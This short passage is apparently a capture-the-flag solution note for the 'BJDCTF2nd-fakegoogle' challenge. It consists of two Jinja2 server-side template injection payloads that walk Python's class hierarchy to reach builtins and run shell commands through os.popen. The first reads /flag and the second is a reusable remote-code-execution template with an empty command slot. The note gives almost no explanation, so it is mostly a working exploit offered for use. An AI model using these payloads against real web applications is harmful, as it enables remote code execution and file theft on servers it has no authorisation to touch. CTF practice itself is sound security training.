BJDCTF2nd-fakegoogle

<!--ssssssti & a little trick --> 

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}{% endif %}{% endfor %}
```

RCE Payload

```
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('').read()") }}{% endif %}{% endfor %}